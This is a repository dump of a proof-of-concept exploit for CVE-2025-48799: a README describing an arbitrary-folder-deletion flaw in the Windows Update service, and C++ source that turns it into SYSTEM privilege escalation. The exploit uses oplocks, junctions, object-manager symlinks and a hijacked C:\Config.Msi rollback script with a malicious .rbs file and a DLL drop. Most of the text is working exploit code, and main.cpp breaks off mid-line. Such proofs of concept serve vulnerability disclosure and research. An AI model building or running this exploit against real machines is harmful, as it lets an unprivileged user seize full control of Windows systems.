Repository: Wh04m1001/CVE-2025-48799 Branch: main Commit: 4b75496aa87c Files: 15 Total size: 48.7 KB Directory structure: gitextract_z5e9hszm/ ├── README.md └── WinUpdateEoP/ ├── 5eeabb3.rbs ├── FileOplock.cpp ├── FileOplock.h ├── FileOrFolderDelete.cpp ├── Msi_EoP.msi ├── WinUpdateEoP.sln ├── WinUpdateEoP.vcxproj ├── WinUpdateEoP.vcxproj.filters ├── WinUpdateEoP.vcxproj.user ├── def.h ├── main.cpp ├── resource.aps ├── resource.h └── resource.rc ================================================ FILE CONTENTS ================================================ ================================================ FILE: README.md ================================================ # Description This is PoC for CVE-2025-48799, an elevation of privilege vulnerability in Windows Update service. This vulnability affects windows clients (win11/win10) with at least 2 hard drives. When machine have multiple hard drives it is possible to change location where new content is saved using the Storage Sense. If location for new applications is changed to secondary drive, during the installation of new application the wuauserv service will perform arbitrary folder deletion without checking for symbolic links (if file is encountered the service will check final path using GetFinalPathByHandle) which leads to LPE. This PoC utilise method (and some code) descibed in ZDI blog post: https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks ## PoC https://github.com/user-attachments/assets/5e8b2a59-b787-4ba7-a6dc-1c71a9b3ba12 ================================================ FILE: WinUpdateEoP/FileOplock.cpp ================================================ #include "FileOpLock.h" #include FileOpLock::FileOpLock(UserCallback cb) : g_inputBuffer({ 0 }), g_outputBuffer({ 0 }), g_o({ 0 }), g_hFile(INVALID_HANDLE_VALUE), g_hLockCompleted(nullptr), g_wait(nullptr), _cb(cb) { g_inputBuffer.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION; g_inputBuffer.StructureLength = sizeof(g_inputBuffer); g_inputBuffer.RequestedOplockLevel = OPLOCK_LEVEL_CACHE_READ | OPLOCK_LEVEL_CACHE_HANDLE; g_inputBuffer.Flags = REQUEST_OPLOCK_INPUT_FLAG_REQUEST; g_outputBuffer.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION; g_outputBuffer.StructureLength = sizeof(g_outputBuffer); } FileOpLock::~FileOpLock() { if (g_wait) { SetThreadpoolWait(g_wait, nullptr, nullptr); CloseThreadpoolWait(g_wait); g_wait = nullptr; } if (g_o.hEvent) { CloseHandle(g_o.hEvent); g_o.hEvent = nullptr; } if (g_hFile != INVALID_HANDLE_VALUE) { CloseHandle(g_hFile); g_hFile = INVALID_HANDLE_VALUE; } } bool FileOpLock::BeginLock(const std::wstring& filename,bool exclusive) { g_hLockCompleted = CreateEvent(nullptr, TRUE, FALSE, nullptr); g_o.hEvent = CreateEvent(nullptr, FALSE, FALSE, nullptr); g_hFile = CreateFileW(filename.c_str(), GENERIC_READ, FILE_SHARE_WRITE | FILE_SHARE_READ | FILE_SHARE_DELETE, 0, OPEN_EXISTING, FILE_FLAG_OVERLAPPED | FILE_FLAG_BACKUP_SEMANTICS, 0); if (g_hFile == INVALID_HANDLE_VALUE) { return false; } g_wait = CreateThreadpoolWait(WaitCallback, this, nullptr); if (g_wait == nullptr) { return false; } SetThreadpoolWait(g_wait, g_o.hEvent, nullptr); DeviceIoControl(g_hFile, FSCTL_REQUEST_OPLOCK, &g_inputBuffer, sizeof(g_inputBuffer), &g_outputBuffer, sizeof(g_outputBuffer), nullptr, &g_o); if (GetLastError() != ERROR_IO_PENDING) { return false; } return true; } bool FileOpLock::BeginLock(HANDLE hfile,bool exclusive) { g_hLockCompleted = CreateEvent(nullptr, TRUE, FALSE, nullptr); g_o.hEvent = CreateEvent(nullptr, FALSE, FALSE, nullptr); g_hFile = hfile; if (g_hFile == INVALID_HANDLE_VALUE) { return false; } g_wait = CreateThreadpoolWait(WaitCallback, this, nullptr); if (g_wait == nullptr) { return false; } SetThreadpoolWait(g_wait, g_o.hEvent, nullptr); DWORD bytesReturned; if (exclusive) { DeviceIoControl(g_hFile, FSCTL_REQUEST_OPLOCK_LEVEL_1, NULL, 0, NULL, 0, &bytesReturned, &g_o); } else { DeviceIoControl(g_hFile, FSCTL_REQUEST_OPLOCK, &g_inputBuffer, sizeof(g_inputBuffer), &g_outputBuffer, sizeof(g_outputBuffer), nullptr, &g_o); } if (GetLastError() != ERROR_IO_PENDING) { return false; } return true; } FileOpLock* FileOpLock::CreateLock(const std::wstring& name, FileOpLock::UserCallback cb,bool exclusive) { FileOpLock* ret = new FileOpLock(cb); if (ret->BeginLock(name,exclusive)) { return ret; } else { delete ret; return nullptr; } } FileOpLock* FileOpLock::CreateLock(HANDLE hfile, FileOpLock::UserCallback cb, bool exclusive) { FileOpLock* ret = new FileOpLock(cb); if (ret->BeginLock(hfile,exclusive)) { return ret; } else { delete ret; return nullptr; } } void FileOpLock::WaitForLock(UINT Timeout) { WaitForSingleObject(g_hLockCompleted, Timeout); } void FileOpLock::WaitCallback(PTP_CALLBACK_INSTANCE Instance, PVOID Parameter, PTP_WAIT Wait, TP_WAIT_RESULT WaitResult) { UNREFERENCED_PARAMETER(Instance); UNREFERENCED_PARAMETER(Wait); UNREFERENCED_PARAMETER(WaitResult); FileOpLock* lock = reinterpret_cast(Parameter); lock->DoWaitCallback(); } void FileOpLock::WaitCallback2(PTP_CALLBACK_INSTANCE Instance, PVOID Parameter, PTP_WAIT Wait, TP_WAIT_RESULT WaitResult) { UNREFERENCED_PARAMETER(Instance); UNREFERENCED_PARAMETER(Wait); UNREFERENCED_PARAMETER(WaitResult); FileOpLock* lock = reinterpret_cast(Parameter); lock->DoWaitCallbackt(); } void FileOpLock::DoWaitCallbackt() { DWORD dwBytes; if (!GetOverlappedResult(g_hFile, &g_o, &dwBytes, TRUE)) { } if (_cb) { _cb(); } g_hFile = INVALID_HANDLE_VALUE; SetEvent(g_hLockCompleted); } void FileOpLock::DoWaitCallback() { DWORD dwBytes; if (!GetOverlappedResult(g_hFile, &g_o, &dwBytes, TRUE)) { } if (_cb) { _cb(); } CloseHandle(g_hFile); g_hFile = INVALID_HANDLE_VALUE; SetEvent(g_hLockCompleted); } ================================================ FILE: WinUpdateEoP/FileOplock.h ================================================ #pragma once #include #include class FileOpLock { public: typedef void(*UserCallback)(); static FileOpLock* CreateLock(HANDLE hfile, FileOpLock::UserCallback cb,bool exclusive); static FileOpLock* CreateLock(const std::wstring& name, FileOpLock::UserCallback cb,bool exclusive); void WaitForLock(UINT Timeout); ~FileOpLock(); private: HANDLE g_hFile; OVERLAPPED g_o; REQUEST_OPLOCK_INPUT_BUFFER g_inputBuffer; REQUEST_OPLOCK_OUTPUT_BUFFER g_outputBuffer; HANDLE g_hLockCompleted; PTP_WAIT g_wait; UserCallback _cb; FileOpLock(UserCallback cb); static void CALLBACK WaitCallback(PTP_CALLBACK_INSTANCE Instance, PVOID Parameter, PTP_WAIT Wait, TP_WAIT_RESULT WaitResult); static void CALLBACK WaitCallback2(PTP_CALLBACK_INSTANCE Instance, PVOID Parameter, PTP_WAIT Wait, TP_WAIT_RESULT WaitResult); void DoWaitCallback(); void DoWaitCallbackt(); bool BeginLock(HANDLE hfile,bool exclusive); bool BeginLock(const std::wstring& name,bool exclusive); }; ================================================ FILE: WinUpdateEoP/FileOrFolderDelete.cpp ================================================ // Exploit code to turn an arbitrary file/folder delete as SYSTEM into a SYSTEM EoP. // Based on a technique by Abdelhamid Naceri (halov). #include #include #include #include #include #include #include "resource.h" #include #include #pragma comment(lib, "Msi.lib") #pragma comment(lib, "Shlwapi.lib") #pragma comment(lib, "PathCch.lib") using namespace std; const wchar_t pathOfDllDrop[] = L"C:\\Program Files\\Common Files\\microsoft shared\\ink\\HID.DLL"; bool stage2FilesystemChangeDetected; class Resources { public: static Resources& instance() { static Resources singleton; return singleton; }; const std::vector& msi() { return m_msi; }; const std::vector& fakeRbs() { return m_fakeRbs; }; const std::vector& fakeRbf() { return m_fakeRbf; }; private: Resources() { m_hModule = GetModuleHandle(NULL); initFromResource(m_msi, MAKEINTRESOURCE(IDR_MSI1), L"msi"); initFromResource(m_fakeRbs, MAKEINTRESOURCE(IDR_RBS1), L"rbs"); initFromResource(m_fakeRbf, MAKEINTRESOURCE(IDR_RBF1), L"rbf"); }; void initFromResource(std::vector& vec, LPCWSTR lpResourceName, LPCWSTR lpResourceType) { HRSRC hRsrc = FindResource(m_hModule, lpResourceName, lpResourceType); DWORD resSize = SizeofResource(m_hModule, hRsrc); vec.reserve(resSize); HGLOBAL hRes = LoadResource(m_hModule, hRsrc); BYTE* resData = (BYTE*)LockResource(hRes); vec.assign(resData, resData + resSize); }; HMODULE m_hModule; std::vector m_msi; std::vector m_fakeRbs; std::vector m_fakeRbf; }; bool bitnessCheck() { auto fakeRbf = Resources::instance().fakeRbf().data(); int dllBitness = *(unsigned __int16*)(fakeRbf + *(__int32*)(fakeRbf + 0x3c) + 4) == 0x8664 ? 64 : 32; SYSTEM_INFO systemInfo; GetNativeSystemInfo(&systemInfo); int systemBitness = systemInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 ? 64 : 32; return dllBitness == systemBitness; } std::wstring uniqueString() { UUID u; UuidCreate(&u); RPC_WSTR su; UuidToString(&u, &su); std::wstring result((PCWSTR)su); RpcStringFree(&su); return result; } std::wstring createUniqueTempFolder() { WCHAR tempFolder[MAX_PATH + 1]; GetEnvironmentVariable(L"TEMP", tempFolder, _countof(tempFolder)); WCHAR result[MAX_PATH + 1]; PathCchCombine(result, _countof(result), tempFolder, uniqueString().c_str()); CreateDirectory(result, NULL); return result; } class TempMsi { public: TempMsi() { auto msi = Resources::instance().msi(); tempMsiPath = L"C:\\Windows\\Temp\\" + uniqueString(); HANDLE hMsi = CreateFile( tempMsiPath.c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL); DWORD dwNumberOfBytesWritten; WriteFile(hMsi, msi.data(), msi.size(), &dwNumberOfBytesWritten, NULL); CloseHandle(hMsi); } TempMsi(TempMsi&) = delete; TempMsi& operator =(TempMsi&) = delete; ~TempMsi() { DeleteFile(tempMsiPath.c_str()); } std::wstring GetTempMsiPath() { return tempMsiPath; } private: std::wstring tempMsiPath; }; bool get_configMsiExists() { return GetFileAttributes(L"C:\\Config.Msi") != INVALID_FILE_ATTRIBUTES; } bool get_configMsiIsRegistered() { bool configMsiRegistered = false; HKEY hkeyInstallerFolders; if (RegOpenKeyEx( HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\Folders", 0, KEY_QUERY_VALUE, &hkeyInstallerFolders) == ERROR_SUCCESS) { if ( RegQueryValueEx(hkeyInstallerFolders, L"C:\\Config.Msi\\", NULL, NULL, NULL, NULL) == ERROR_SUCCESS || RegQueryValueEx(hkeyInstallerFolders, L"C:\\Config.Msi", NULL, NULL, NULL, NULL) == ERROR_SUCCESS) { configMsiRegistered = true; } RegCloseKey(hkeyInstallerFolders); } return configMsiRegistered; } bool tryDeleteConfigMsi() { SHFILEOPSTRUCT fileOp; fileOp.hwnd = NULL; fileOp.wFunc = FO_DELETE; fileOp.pFrom = L"C:\\Config.Msi\0"; fileOp.pTo = NULL; fileOp.fFlags = FOF_NO_UI; if (SHFileOperation(&fileOp) == 0 && !fileOp.fAnyOperationsAborted) { return true; } else { return false; } } void spinUntilConfigMsiDeleted() { while (GetFileAttributes(L"C:\\Config.Msi") != INVALID_FILE_ATTRIBUTES) { Sleep(200); } } void install(const std::wstring& installPath) { TempMsi tempMsi; MsiSetInternalUI(INSTALLUILEVEL_NONE, NULL); MsiInstallProduct( tempMsi.GetTempMsiPath().c_str(), (L"ACTION=INSTALL TARGETDIR=" + installPath).c_str()); } void installWithRollback(const std::wstring& installPath) { CreateDirectory(installPath.c_str(), NULL); TempMsi tempMsi; MsiSetInternalUI(INSTALLUILEVEL_NONE, NULL); MsiInstallProduct( tempMsi.GetTempMsiPath().c_str(), (L"ACTION=INSTALL ERROROUT=1 TARGETDIR=" + installPath).c_str()); } void uninstall() { TempMsi tempMsi; MsiSetInternalUI(INSTALLUILEVEL_NONE, NULL); MsiInstallProduct( tempMsi.GetTempMsiPath().c_str(), L"REMOVE=ALL"); } DWORD WINAPI thread_uninstall(PVOID) { uninstall(); return 0; } DWORD WINAPI thread_installWithRollback(PVOID installPath) { // Loop until we verify that stage2() is monitoring filesystem changes do { HANDLE hFileToBeDetected = CreateFile( (L"C:\\Config.Msi\\" + uniqueString()).c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_FLAG_DELETE_ON_CLOSE, NULL); CloseHandle(hFileToBeDetected); Sleep(100); } while (!stage2FilesystemChangeDetected); installWithRollback((const wchar_t*)installPath); return 0; } void stage1() { printf("[*] Stage 1 starting.\n"); // Start with an uninstall, just in case Msi_EoP is already in an installed state uninstall(); // Install Msi_EoP auto installPath = createUniqueTempFolder(); install(installPath.c_str()); // Get a handle to the installed file dummy.txt auto dummyFilePath = installPath + L"\\dummy.txt"; HANDLE hFileDummy = CreateFile( dummyFilePath.c_str(), FILE_READ_ATTRIBUTES, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, NULL); if (!hFileDummy) { std::wcout << L"[-] " << std::wstring(dummyFilePath) << L" didn't install, exiting" << std::endl; exit(1); } // Create events for synchronization with the uninstall process. // The uninstall process will move dummy.txt to an .rbf file within C:\Config.Msi. // After this occurs, a custom action in the uninstaller will set event FolderOrFileDeleteToSystem_RbfFullyWritten, // and wait for event FolderOrFileDeleteToSystem_ReadyForAttemptedDelete before proceeding. HANDLE hEvent_RbfFullyWritten = CreateEvent(NULL, FALSE, FALSE, L"FolderOrFileDeleteToSystem_RbfFullyWritten"); ResetEvent(hEvent_RbfFullyWritten); HANDLE hEvent_ReadyForAttemptedDelete = CreateEvent(NULL, FALSE, FALSE, L"FolderOrFileDeleteToSystem_ReadyForAttemptedDelete"); ResetEvent(hEvent_ReadyForAttemptedDelete); // Start the uninstall, to execute in parallel with this thread HANDLE hUninstallThread = CreateThread(NULL, NULL, thread_uninstall, NULL, NULL, NULL); // Poll the file name referenced by handle hFileDummy. Once the uninstaller has moved dummy.txt, // the reported filename will change, and we will learn the name of the .rbf file within C:\Config.Msi. WCHAR updatedFilePath[MAX_PATH + 1]; for (;;) { DWORD len = GetFinalPathNameByHandle( hFileDummy, updatedFilePath, _countof(updatedFilePath), FILE_NAME_NORMALIZED | VOLUME_NAME_DOS); const WCHAR configMsiPrefix[] = L"\\\\?\\C:\\Config.Msi\\"; constexpr size_t configMsiPrefixLen = _countof(configMsiPrefix) - 1; if (len >= configMsiPrefixLen && !_wcsnicmp(updatedFilePath, configMsiPrefix, configMsiPrefixLen)) { break; } Sleep(100); } CloseHandle(hFileDummy); // Wait for the uninstaller to finish most operations on the .rbf if (WaitForSingleObject(hEvent_RbfFullyWritten, INFINITE) == 30000) { std::cout << "[-] FAILED: Timeout waiting for uninstall to set event FolderOrFileDeleteToSystem_RbfFullyWritten." << std::endl; SetEvent(hEvent_ReadyForAttemptedDelete); exit(1); } // At this time, the uninstaller is paused, waiting for event FolderOrFileDeleteToSystem_ReadyForAttemptedDelete // Open a new handle to the .rbf, preventing deletion of the .rbf (and, consequently, the C:\Config.Msi folder), // by causing a sharing violation (no FILE_SHARE_DELETE allowed). We are allowed to open this handle, because // the .rbf file is just the original dummy.txt file moved to a new location. HANDLE hFileRbf = CreateFile( &updatedFilePath[4], GENERIC_READ | DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); // Allow the uninstaller to run to completion SetEvent(hEvent_ReadyForAttemptedDelete); CloseHandle(hEvent_RbfFullyWritten); CloseHandle(hEvent_ReadyForAttemptedDelete); if (WaitForSingleObject(hUninstallThread, 120000) == WAIT_TIMEOUT) { std::cout << "[-] FAILED: Timeout waiting for uninstall to complete." << std::endl; exit(1); } // Finally, delete the .rbf, so that C:\Config.Msi will be left as an empty folder, // in preparation for triggering the aribitrary folder/file delete. FILE_DISPOSITION_INFO fdi; fdi.DeleteFileW = TRUE; SetFileInformationByHandle(hFileRbf, FileDispositionInfo, &fdi, sizeof(fdi)); CloseHandle(hFileRbf); printf("[+] Stage one completed.\n"); } void stage2() { // Create a SECURITY_ATTRIBUTES structure with a NULL DACL printf("[*] Stage 2 starting.\n"); HMODULE ntdll = GetModuleHandle(L"ntdll.dll"); auto NtSetSecurityObject = (NTSTATUS(WINAPI*)( HANDLE Handle, SECURITY_INFORMATION SecurityInformation, PSECURITY_DESCRIPTOR SecurityDescriptor ))GetProcAddress(ntdll, "NtSetSecurityObject"); SECURITY_DESCRIPTOR sd; InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION); SetSecurityDescriptorDacl(&sd, TRUE, NULL, FALSE); SECURITY_ATTRIBUTES sa; sa.nLength = sizeof(SECURITY_ATTRIBUTES); sa.lpSecurityDescriptor = &sd; sa.bInheritHandle = FALSE; // Create C:\Config.Msi with a NULL DACL and obtain a handle CreateDirectory(L"C:\\Config.Msi", &sa); HANDLE hConfigMsi = CreateFile( L"C:\\Config.Msi", GENERIC_READ | READ_CONTROL | WRITE_DAC | FILE_DELETE_CHILD, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL); // Create a buffer for directory change notifications const size_t fileNotifyBufferLen = 0x100000; BYTE* fileNotifyBuffer = (BYTE*)malloc(fileNotifyBufferLen); // Create events for synchronization with the install process. // During installation, the install process will create a .rbs (rollback script) file within C:\Config.Msi. // After this occurs, a custom action in the installer will set event FolderOrFileDeleteToSystem_RbsFullyWritten. // Then, it will wait for event FolderOrFileDeleteToSystem_ReadyForRollback before rolling back. HANDLE hEvent_RbsFullyWritten = CreateEvent(NULL, FALSE, FALSE, L"FolderOrFileDeleteToSystem_RbsFullyWritten"); ResetEvent(hEvent_RbsFullyWritten); HANDLE hEvent_ReadyForRollback = CreateEvent(NULL, FALSE, FALSE, L"FolderOrFileDeleteToSystem_ReadyForRollback"); ResetEvent(hEvent_ReadyForRollback); // This global flag will allow thread_installWithRollback to know that this thread has begun // monitoring file system changes. stage2FilesystemChangeDetected = false; // Start an install that will error out and roll back, running in parallel with this thread. auto installPath = createUniqueTempFolder(); HANDLE hInstallThread = CreateThread(NULL, NULL, thread_installWithRollback, (PVOID)installPath.c_str(), NULL, NULL); // Watch for filesystem changes within C:\Config.Msi to find the filename of the new .rbs file std::wstring rbsFileName; do { DWORD dwBytesReturned; if (!ReadDirectoryChangesW( hConfigMsi, fileNotifyBuffer, fileNotifyBufferLen, FALSE, FILE_NOTIFY_CHANGE_FILE_NAME, &dwBytesReturned, NULL, NULL)) { std::wcout << L"[-] FAILED: Failed to detect creation of an .rbs file." << std::endl; exit(1); } stage2FilesystemChangeDetected = true; BYTE* fileNotifyInfoBytePtr = fileNotifyBuffer; for (;;) { FILE_NOTIFY_INFORMATION* fileNotifyInfo = (FILE_NOTIFY_INFORMATION*)fileNotifyInfoBytePtr; if (fileNotifyInfo->Action == FILE_ACTION_ADDED && fileNotifyInfo->FileNameLength / 2 >= 4 && !_wcsnicmp( &fileNotifyInfo->FileName[fileNotifyInfo->FileNameLength / 2 - 4], L".rbs", 4)) { rbsFileName = L"C:\\Config.Msi\\"; rbsFileName.append(fileNotifyInfo->FileName, fileNotifyInfo->FileNameLength / 2); break; } else if (!fileNotifyInfo->NextEntryOffset) { break; } else { fileNotifyInfoBytePtr += fileNotifyInfo->NextEntryOffset; } } } while (!rbsFileName.length()); // Wait for the installer to finish writing the .rbs file if (WaitForSingleObject(hEvent_RbsFullyWritten, 120000) == WAIT_TIMEOUT) { std::cout << "[-] FAILED: Timeout waiting for FolderOrFileDeleteToSystem_RbsFullyWritten event." << std::endl; exit(1); } // At this point, the installer is paused, waiting for FolderOrFileDeleteToSystem_ReadyForRollback // Reapply the NULL DACL to C:\Config.Msi, becuase by now the installer has set its own DACL. // Note, we're able to do this because when we originally opened the handle hConfigMsi, we // requested the WRITE_DAC permission, and we were granted it then because at that time // C:\Config.Msi still had a permissive DACL. NtSetSecurityObject(hConfigMsi, DACL_SECURITY_INFORMATION, &sd); // Delete the legitimate .rbs if (!DeleteFile(rbsFileName.c_str())) { std::cout << "[-] Failed to delete .rbs file. Error: 0x" << std::hex << GetLastError() << std::dec << std::endl; exit(1); } // Drop a malicious .rbs that references a malicious .rbf HANDLE hRbs = CreateFile( rbsFileName.c_str(), GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_ALWAYS, 0, NULL); auto fakeRbs = Resources::instance().fakeRbs(); DWORD dwNumberOfBytesWritten; WriteFile(hRbs, fakeRbs.data(), fakeRbs.size(), &dwNumberOfBytesWritten, NULL); CloseHandle(hRbs); // Allow rollback to continue, consuming the malicious .rbs and .rbf SetEvent(hEvent_ReadyForRollback); CloseHandle(hEvent_RbsFullyWritten); CloseHandle(hEvent_ReadyForRollback); CloseHandle(hConfigMsi); printf("[+] Stage 2 completed.\n"); } void usage() { std::cerr << "Usage:" << std::endl; std::cerr << "\tFolderOrFileDeleteToSystem.exe [/stage1only]" << std::endl; std::cerr << std::endl; std::cerr << "This exploit demonstrates how an arbitrary file or folder delete vuln as SYSTEM or admin" << std::endl; std::cerr << "can be used to gain local privilege escalation to SYSTEM." << std::endl; std::cerr << std::endl; std::cerr << "The exploit proceeds in two stages. Stage 1 performs the needed preparation before triggering the delete." << std::endl; std::cerr << "You will be prompted to trigger the delete at the appropriate time. At that point, you can terminate this" << std::endl; std::cerr << "exploit and resume it after the delete if preferred. This is useful if, for example, the delete vuln" << std::endl; std::cerr << "requires a system restart. Afterwards, run this exploit again. No special flags are needed. It will" << std::endl; std::cerr << "automatically detect the system state and resume with stage 2." << std::endl; std::cerr << std::endl; std::cerr << "Stage 2 of the exploit is performed after the arbitrary file/folder delete, and achieves SYSTEM LPE." << std::endl; } ================================================ FILE: WinUpdateEoP/WinUpdateEoP.sln ================================================  Microsoft Visual Studio Solution File, Format Version 12.00 # Visual Studio Version 17 VisualStudioVersion = 17.13.35828.75 d17.13 MinimumVisualStudioVersion = 10.0.40219.1 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "WinUpdateEoP", "WinUpdateEoP.vcxproj", "{677448A4-0C19-42C4-94E3-D4C89F264F26}" EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|x64 = Debug|x64 Debug|x86 = Debug|x86 Release|x64 = Release|x64 Release|x86 = Release|x86 EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution {677448A4-0C19-42C4-94E3-D4C89F264F26}.Debug|x64.ActiveCfg = Debug|x64 {677448A4-0C19-42C4-94E3-D4C89F264F26}.Debug|x64.Build.0 = Debug|x64 {677448A4-0C19-42C4-94E3-D4C89F264F26}.Debug|x86.ActiveCfg = Debug|Win32 {677448A4-0C19-42C4-94E3-D4C89F264F26}.Debug|x86.Build.0 = Debug|Win32 {677448A4-0C19-42C4-94E3-D4C89F264F26}.Release|x64.ActiveCfg = Release|x64 {677448A4-0C19-42C4-94E3-D4C89F264F26}.Release|x64.Build.0 = Release|x64 {677448A4-0C19-42C4-94E3-D4C89F264F26}.Release|x86.ActiveCfg = Release|Win32 {677448A4-0C19-42C4-94E3-D4C89F264F26}.Release|x86.Build.0 = Release|Win32 EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE EndGlobalSection GlobalSection(ExtensibilityGlobals) = postSolution SolutionGuid = {92150D9D-E91E-469C-AA3E-81302F8D8D55} EndGlobalSection EndGlobal ================================================ FILE: WinUpdateEoP/WinUpdateEoP.vcxproj ================================================ Debug Win32 Release Win32 Debug x64 Release x64 17.0 Win32Proj {677448a4-0c19-42c4-94e3-d4c89f264f26} WinUpdateEoP 10.0 Application true v143 Unicode Application false v143 true Unicode Application true v143 Unicode Application false v143 true Unicode Level3 true WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) true Console true Level3 true true true WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true Console true true true Level3 true _DEBUG;_CONSOLE;%(PreprocessorDefinitions) true Console true Level3 true true true NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true MultiThreaded Console true true true ================================================ FILE: WinUpdateEoP/WinUpdateEoP.vcxproj.filters ================================================  {4FC737F1-C7A5-4376-A066-2A32D752A2FF} cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx {93995380-89BD-4b04-88EB-625FBE52EBFB} h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms Source Files Source Files Source Files Resource Files Header Files Header Files Resource Files ================================================ FILE: WinUpdateEoP/WinUpdateEoP.vcxproj.user ================================================  ================================================ FILE: WinUpdateEoP/def.h ================================================ #include #include #include #include #include #include #include #include #include #include #include "FileOplock.h" #include #include #include #include #pragma warning(disable:4996) #pragma comment(lib, "PathCch.lib") #pragma comment(lib,"RpcRT4.lib") #pragma comment(lib, "Msi.lib") #pragma comment(lib, "taskschd.lib") struct __declspec(uuid("A6B716CB-028B-404D-B72C-50E153DD68DA")) CLSID_MSEdge_Object; class __declspec(uuid("79e0c401-b7bc-4de5-8104-71350f3a9b67")) IGoogleUpdate : IUnknown { public: HRESULT CheckForUpdate(const WCHAR* guid, VOID* observer); HRESULT Update(const WCHAR* guid, VOID* observer); }; wchar_t dir[MAX_PATH] = { 0x0 }; WCHAR rbsPath[256] = { 0x0 }; wchar_t drivepath[MAX_PATH] = { 0x0 }; wchar_t tmp_file[MAX_PATH] = { 0x0 }; NTSTATUS retcode; HANDLE h = NULL; HANDLE hDir,hDir2,hDir3; HANDLE hFile,hFile2; wchar_t object[MAX_PATH] = L"Global\\GLOBALROOT\\RPC Control\\1"; std::wstring drive; BOOL deleted = FALSE; void IfDeletedRemoveJunction(LPWSTR); bool IfExists(LPCWSTR path); VOID Trigger(); void cb0(); BOOL CreateDeleteTask(BOOL); LPWSTR BuildPath(LPCWSTR); void load(); void stage2(); void stage1(); HANDLE myCreateDirectory(LPWSTR file, DWORD access, DWORD share, DWORD dispostion); BOOL Move(HANDLE hFile, std::wstring drive, LPCWSTR path); BOOL CreateJunction(HANDLE hDir, LPCWSTR target); BOOL DosDeviceSymLink(LPCWSTR object, LPCWSTR target); BOOL DeleteJunction(HANDLE hDir); BOOL DelDosDeviceSymLink(LPCWSTR object, LPCWSTR target); VOID Watch(); typedef struct _REPARSE_DATA_BUFFER { ULONG ReparseTag; USHORT ReparseDataLength; USHORT Reserved; union { struct { USHORT SubstituteNameOffset; USHORT SubstituteNameLength; USHORT PrintNameOffset; USHORT PrintNameLength; ULONG Flags; WCHAR PathBuffer[1]; } SymbolicLinkReparseBuffer; struct { USHORT SubstituteNameOffset; USHORT SubstituteNameLength; USHORT PrintNameOffset; USHORT PrintNameLength; WCHAR PathBuffer[1]; } MountPointReparseBuffer; struct { UCHAR DataBuffer[1]; } GenericReparseBuffer; } DUMMYUNIONNAME; } REPARSE_DATA_BUFFER, * PREPARSE_DATA_BUFFER; typedef struct _OBJECT_DIRECTORY_INFORMATION { UNICODE_STRING Name; UNICODE_STRING TypeName; } OBJECT_DIRECTORY_INFORMATION, * POBJECT_DIRECTORY_INFORMATION; #define STATUS_MORE_ENTRIES 0x00000105 #define STATUS_NO_MORE_ENTRIES 0x8000001A #define IO_REPARSE_TAG_MOUNT_POINT (0xA0000003L) typedef NTSYSAPI NTSTATUS(NTAPI* _NtCreateFile)(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength); typedef NTSYSAPI VOID(NTAPI* _RtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString); typedef NTSYSAPI NTSTATUS(NTAPI* _NtOpenDirectoryObject)(OUT PHANDLE DirectoryHandle, IN ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes); typedef NTSYSAPI NTSTATUS(NTAPI* _NtQueryDirectoryObject)(_In_ HANDLE DirectoryHandle, _Out_opt_ PVOID Buffer, _In_ ULONG Length, _In_ BOOLEAN ReturnSingleEntry, _In_ BOOLEAN RestartScan, _Inout_ PULONG Context, _Out_opt_ PULONG ReturnLength); typedef NTSYSCALLAPI NTSTATUS(NTAPI* _NtSetInformationFile)( HANDLE FileHandle, PIO_STATUS_BLOCK IoStatusBlock, PVOID FileInformation, ULONG Length, ULONG FileInformationClass ); typedef DWORD(WINAPI* _SetStorageSettings)(DWORD, DWORD, DWORD, DWORD); _RtlInitUnicodeString pRtlInitUnicodeString; _NtCreateFile pNtCreateFile; _NtSetInformationFile pNtSetInformationFile; _NtQueryDirectoryObject pNtQueryDirectoryObject; _NtOpenDirectoryObject pNtOpenDirectoryObect; _SetStorageSettings pSetStorageSettings; ================================================ FILE: WinUpdateEoP/main.cpp ================================================ #include "def.h" int wmain(int argc, wchar_t** argv) { load(); wchar_t target[] = L"\\C:\\config.msi"; if (argc < 2) { printf("[*] Usage: %ls \n", argv[0]); printf("[*] Example: %ls D:\n", argv[0]); return 1; } stage1(); DWORD ret = pSetStorageSettings(1, 0, 2, 16); if (ret != 0) { ret = pSetStorageSettings(0, 1, 2, 16); if (ret != 0) { printf("[-] Failed to change location where new apps are saved. Error: %d\n", ret); return -1; } } printf("[*] Changed location where new apps are 